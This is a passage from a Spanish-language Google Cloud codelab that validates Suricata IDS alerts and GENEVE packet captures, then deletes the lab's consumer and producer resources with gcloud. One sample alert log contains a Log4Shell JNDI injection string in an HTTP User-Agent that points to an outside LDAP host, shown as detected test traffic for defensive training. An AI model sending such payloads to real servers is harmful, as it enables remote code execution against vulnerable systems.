  1. Sal de la sesión de SSH para regresar a Cloud Shell
exit

De manera opcional, puedes establecer una conexión SSH con la VM de Suricata en $zoneb (suricata-$zoneb) y validar los registros.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

Consulta los registros filtrados por el tipo de ataque:

cat /var/log/suricata/eve.json | grep log4j

Resultado de muestra:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

Además, las capturas de paquetes serían una buena forma de ver y validar el tráfico.

Este comando filtrará los paquetes GENEVE. Comando de ejemplo:

sudo tcpdump -i any -nn udp port 6081

Ahora, envía un par de pruebas de tráfico desde una VM de consumidor. Resultado de muestra:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

Observa que, con tcpdump, puedes ver los encabezados de GENEVE. La IP de origen es la de la puerta de enlace de la subred (10.0.0.1) y la IP de destino es la de la regla de reenvío (10.0.0.11 o 10.0.0.12). Los paquetes encapsulados contienen los paquetes originales: la IP del cliente de consumer-$zonea (192.168.0.2) o consumer-$zoneb (192.168.0.3) y el destino google.com. Esto confirma que los paquetes se interceptan y se envían al dispositivo de terceros a través de la integración de seguridad de red.

  1. Sal de la sesión de SSH para regresar a Cloud Shell
exit

Felicitaciones. Implementaste y probaste correctamente un entorno con la integración de seguridad de redes (NSI) en banda.

5. Limpieza

Consumidor

Borra las VMs de consumidor:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

Borra la asociación y la política de firewall:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

Borra el grupo de perfiles de seguridad y el perfil de seguridad:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

Borra la asociación de extremos y los grupos de extremos de intercepción:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Borra Cloud NAT, Cloud Router y la IP reservada

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

Borra la VPC y las subredes

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Productor

Borra las implementaciones de intercepción:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

Borra el grupo de implementación de la interceptación (las implementaciones de la interceptación deben terminar de borrarse antes de que este comando se ejecute correctamente):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

Borra las reglas de reenvío:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

Borra la IP reservada de la regla de reenvío:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

Borra el servicio de backend:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

Borra los grupos de instancias no administrados:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

Borra la verificación de estado:

gcloud compute health-checks delete nva-hc -q

Borra las VMs de Producer:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Borra Cloud NAT, Cloud Router y la IP reservada:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

Borra la asociación de política de FW:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

Borra la política de FW:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

Borra la VPC y la subred

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. ¡Felicitaciones!

¡Felicitaciones! Completaste correctamente el codelab de integración de seguridad de redes en banda con Suricata.

Mira los videos de demostración específicos del proveedor de la integración en banda de NSI:

Palo Alto Networks

Fortinet

Consulta algunas de las guías de implementación específicas del proveedor que pueden ser relevantes para tu organización:

Palo Alto Networks

Fortinet

Checkpoint